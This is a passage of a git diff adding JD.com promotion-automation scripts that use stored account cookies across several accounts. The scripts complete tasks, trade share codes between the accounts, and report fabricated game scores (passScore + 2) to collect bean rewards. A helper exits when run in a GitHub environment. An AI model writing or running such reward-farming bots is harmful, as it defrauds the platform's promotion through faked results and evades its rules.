doLottery(enAwardK,authType="2") { + return new Promise(resolve => { + $.post(taskUrl('babelGetLottery',{enAwardK,authType}), + (err,resp,data)=>{ + try{ + if(err){ + + }else{ + data = $.toObj(data) + console.log(data.promptMsg) + allMsg += `【京东账号${$.index}】${$.UserName}:${data.promptMsg}\n` + } + }catch (e) { + + }finally { + resolve() + } + }) + }) +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}/client.action?functionId=${function_id}`, + body: `body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_mcxhd.js b/jd_mcxhd.js new file mode 100644 index 0000000..7ea794f --- /dev/null +++ b/jd_mcxhd.js @@ -0,0 +1,416 @@ +/* +author:tg@chenxing666 +新潮品牌狂欢 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#新潮品牌狂欢 +4 10 * * * jd_mcxhd.js, tag=新潮品牌狂欢, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +==============Loon============== +[Script] +cron "4 10 * * *" script-path=jd_mcxhd.js,tag=新潮品牌狂欢 + +================Surge=============== +新潮品牌狂欢 = type=cron,cronexp="4 10 * * *",wake-system=1,timeout=3600,script-path=jd_mcxhd.js + +===============小火箭========== +新潮品牌狂欢 = type=cron,script-path=jd_mcxhd.js, cronexpr="4 10 * * *", timeout=3600, enable=true +*/ +const $ = new Env('新潮品牌狂欢'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + $.shareCodeList = [] + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } else { + $.setdata('', `CookieJD${i ? i + 1 : ""}`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。 + } + continue + } + await superBox() + await showMsg(); + } + } + console.log(`\n开始自己京东内部相互助力\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + for (let vo of $.shareCodeList) { + if (!vo) continue; + await doTask(vo) + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + message += `本次运行获得${$.earn}京豆` + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function superBox() { + $.earn = 0 + await taskList() + $.canDo = true + while($.canDo){ + await startGame() + } +} + +function doTask(itemToken,taskToken=null) { + let body = {"itemToken":itemToken} + return new Promise(resolve => { + $.get(taskUrl('doTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + + if (data.retCode === '200') { + console.log(`任务完成成功`) + if(taskToken) { + await queryTask(taskToken) + await $.wait(5*1000) + await viewTask(taskToken) + await checkTask(itemToken) + } + } else { + console.log(`任务完成失败,${data.retMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function queryTask(taskToken){ + return new Promise(resolve => { + $.get({ + url: `https://api.m.jd.com/?client=wh5&clientVersion=1.0.0&functionId=queryVkComponent&body={%22businessId%22:%22chanyedai%22,%22componentId%22:%22f6e2c64666f54b46868496f290f181e6%22,%22taskParam%22:%22%257B%2522taskToken%2522%3A%2522${taskToken}%2522%257D%22}&_timestamp=${+new Date()}`, + headers: { + 'Host': 'api.m.jd.com', + 'Origin': 'https://h5.m.jd.com', + 'Accept': '*/*', + 'User-Agent': 'jdapp;iPhone;10.0.2;14.5.1;appBuild/167688;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/3fHfkJDWEckhqH73tRgUgxmg8U9S/index.html', + Cookie: cookie + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function viewTask(taskToken){ + const body = { + "dataSource": "newshortAward", + "method": "getTaskAward", + "reqParams": JSON.stringify({"taskToken": taskToken}), + "sdkVersion": "1.0.0", + "clientLanguage": "zh" + } + return new Promise(resolve => { + $.get({ + url: `https://api.m.jd.com/?client=wh5&clientVersion=1.0.0&functionId=qryViewkitCallbackResult&body=${escape(JSON.stringify(body))}&_timestamp=${+new Date()}`, + headers: { + 'Host': 'api.m.jd.com', + 'Origin': 'https://h5.m.jd.com', + 'Accept': '*/*', + 'User-Agent': 'jdapp;iPhone;10.0.2;14.5.1;appBuild/167688;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/3fHfkJDWEckhqH73tRgUgxmg8U9S/index.html', + Cookie: cookie + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function checkTask(itemToken) { + let body = {"itemToken":itemToken} + return new Promise(resolve => { + $.get(taskUrl('checkTaskStatus', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.retCode === '200') { + console.log(`任务完成成功`) + } else { + console.log(`任务完成失败,${data.retMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskList() { + return new Promise(resolve => { + $.get(taskUrl('taskList'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.retCode === '200') { + for(let vo of data.result.tasks){ + if(vo.times < vo.maxTimes) + for(let bo of vo.subItem){ + if (vo.taskType === '6'){ + const shareCode = bo.itemToken + console.log(`好友助力码:${shareCode}`) + if (shareCode) $.shareCodeList.push(shareCode) + } + else if(vo.taskType!=='9') { + await doTask(bo.itemToken) + } + else{ + await doTask(bo.itemToken,bo.taskToken) + } + } + } + } else { + console.log(`抽奖失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function startGame() { + return new Promise(resolve => { + $.get(taskUrl('startGame'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.retCode === '200') { + console.log(`游戏开始成功`) + await $.wait(10*1000) + await reportGame(data.result.passScore + 2) + } else { + // if (data.retCode === '1102') $.canDo = false + console.log(`游戏开始失败`, JSON.stringify(data)) + $.canDo = false + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function reportGame(score) { + return new Promise(resolve => { + $.get(taskUrl('reportGame',{score:score}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + if (safeGet(data)) { + data = JSON.parse(data); + if (data.retCode === '200') { + const earn = data?.result?.gift?.jbeanNum ?? 0 + $.earn += earn + console.log(`游戏结束成功,获得 ${earn} 京豆`) + } else { + console.log(data.retMessage) + $.canDo = false + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body = {}) { + body['token'] = 'jd17919499fb7031e5' + return { + url: `${JD_API_HOST}/client.action?functionId=mcxhd_brandcity_${function_id}&appid=publicUseApi&body=${escape(JSON.stringify(body))}&t=${+ new Date()}&client=wh5&clientVersion=1.0.0&sid=&uuid=`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/31LKY9sFZZUvj5aN1TrZUE4V6xzQ/index.html", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.2.2;14.2;%E4%BA%AC%E4%B8%9C/9.2.2 CFNetwork/1206 Darwin/20.1.0") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.2.2;14.2;%E4%BA%AC%E4%B8%9C/9.2.2 CFNetwork/1206 Darwin/20.1.0") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_mohe.js b/jd_mohe.js new file mode 100644 index 